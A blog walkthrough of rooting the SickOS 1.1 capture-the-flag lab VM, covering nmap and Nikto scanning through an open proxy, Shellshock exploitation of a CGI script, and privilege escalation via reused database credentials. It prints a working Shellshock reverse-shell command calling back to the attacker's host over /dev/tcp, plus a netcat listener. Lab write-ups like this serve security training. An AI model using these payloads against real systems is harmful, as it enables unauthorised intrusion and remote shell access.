SickOS 1.1 – CTF

This is a walk through of how I was able to gain root access to the SickOS 1.1 CTF image posted on vulnhub.com.   Let’s get started.

After booting VM, I used nmap to find the host.

nmap -sn – PE 192.168.1.200-254

Once I had the IP, I started a deeper scan to figure out what services are running.

nmap -p- -A 192.168.1.200

As you can see from the scan results, we have ssh open as well as an open proxy on TCP 3128.  I decided to first look into the open proxy.  I opened up my browser and modified my proxy settings.

Then attempted a connection via the browser.

Taking a close look using view-source uncovered nothing, so I decided to check for a robots.txt file.

Let’s see if /wolfcms shows us anything..

From here, I poked around a bit and decided to run Nikto to see what that revealed.

nikto -useproxy 192.168.1.200:3128 -h 127.0.0.1

After running Nikto against / as well as /wolfcms I realized there were a couple of different ways to compromise this host.  I decided to move forward with trying to exploit the shellshock vulnerability that Nikto found in the screenshot above. I first needed to test to see if the host was actually vulnerable:

wget -U “() { test;};echo \”Content-type: text/plain\”; echo; /bin/bash -c ‘echo vulnerable'” http://127.0.0.1/cgi-bin/status -e use_proxy=yes -e http_proxy=192.168.1.200:3128

As you can see in the screen shot above, I have verified that the host is vulnerable.  Next, I started up netcat to receive the TCP connection I would initiating from our vulnerable host.

nc -lvnp 4444

Now to exploit the vulnerability and get our shell connection.

wget -U “() { test;};echo \”Content-type: text/plain\”; echo; /bin/bash -i >& /dev/tcp/192.168.1.113/4444 0>&1″ http://127.0.0.1/cgi-bin/status -e use_proxy=yes -e http_proxy=192.168.1.200:3128

And we have our connection to the host.  Now it’s time to see if we can escalate our privileges.

I started poking around to see what I could find.  Found a user folder in the home dir, sickos.  Let’s see what else we can find.

Found the DB user credentials in the config.php file.

I wonder if they re-used the password anywhere else 🙂 — Bingo!

And again 🙂

Now lets take a look in the root folder, and we found the flag 🙂

I hope this was helpful.  As I said earlier, I know there is at least one more way to get here.  I may go back and create a walk through for that as well.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s